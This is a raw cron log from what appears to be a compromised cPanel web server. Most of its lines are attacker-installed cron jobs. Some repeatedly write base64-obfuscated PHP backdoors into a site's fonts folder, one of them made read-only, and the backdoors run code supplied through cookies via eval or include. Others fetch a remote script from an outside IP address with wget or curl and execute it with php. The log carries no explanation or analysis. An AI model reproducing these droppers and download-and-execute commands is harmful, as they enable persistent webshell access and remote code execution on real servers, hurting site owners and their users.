Sep  3 09:47:01 ip-184-168-122-23 CROND[14296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:47:01 ip-184-168-122-23 CROND[14295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:47:01 ip-184-168-122-23 CROND[14297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:47:01 ip-184-168-122-23 CROND[14298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:48:01 ip-184-168-122-23 CROND[14384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:48:01 ip-184-168-122-23 CROND[14385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:48:01 ip-184-168-122-23 CROND[14389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:48:01 ip-184-168-122-23 CROND[14388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:48:01 ip-184-168-122-23 CROND[14391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:49:01 ip-184-168-122-23 CROND[14518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:49:01 ip-184-168-122-23 CROND[14517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:49:01 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:49:01 ip-184-168-122-23 CROND[14521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:50:01 ip-184-168-122-23 CROND[14651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:50:01 ip-184-168-122-23 CROND[14656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:50:01 ip-184-168-122-23 CROND[14661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:50:01 ip-184-168-122-23 CROND[14667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:51:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:51:01 ip-184-168-122-23 CROND[14840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:51:01 ip-184-168-122-23 CROND[14841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:51:01 ip-184-168-122-23 CROND[14842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:52:01 ip-184-168-122-23 CROND[15031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:52:01 ip-184-168-122-23 CROND[15034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:52:01 ip-184-168-122-23 CROND[15033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:52:01 ip-184-168-122-23 CROND[15035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:52:01 ip-184-168-122-23 CROND[15036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:53:01 ip-184-168-122-23 CROND[15141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:53:01 ip-184-168-122-23 CROND[15142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:53:01 ip-184-168-122-23 CROND[15143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:53:01 ip-184-168-122-23 CROND[15144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:54:01 ip-184-168-122-23 CROND[15277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:54:01 ip-184-168-122-23 CROND[15276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:54:01 ip-184-168-122-23 CROND[15280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:54:01 ip-184-168-122-23 CROND[15279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:54:01 ip-184-168-122-23 CROND[15284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:55:01 ip-184-168-122-23 CROND[15378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:55:01 ip-184-168-122-23 CROND[15379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:55:01 ip-184-168-122-23 CROND[15381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:55:01 ip-184-168-122-23 CROND[15380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:55:01 ip-184-168-122-23 CROND[15383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:55:01 ip-184-168-122-23 CROND[15382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:56:01 ip-184-168-122-23 CROND[15512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:56:01 ip-184-168-122-23 CROND[15511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:56:01 ip-184-168-122-23 CROND[15513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:56:01 ip-184-168-122-23 CROND[15517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:56:01 ip-184-168-122-23 CROND[15518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:57:01 ip-184-168-122-23 CROND[15733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:57:02 ip-184-168-122-23 CROND[15735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:57:02 ip-184-168-122-23 CROND[15734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:57:02 ip-184-168-122-23 CROND[15737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:58:01 ip-184-168-122-23 CROND[15905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:58:01 ip-184-168-122-23 CROND[15907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:58:01 ip-184-168-122-23 CROND[15908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:58:01 ip-184-168-122-23 CROND[15911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:58:01 ip-184-168-122-23 CROND[15912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:59:02 ip-184-168-122-23 CROND[16007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:59:02 ip-184-168-122-23 CROND[16010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
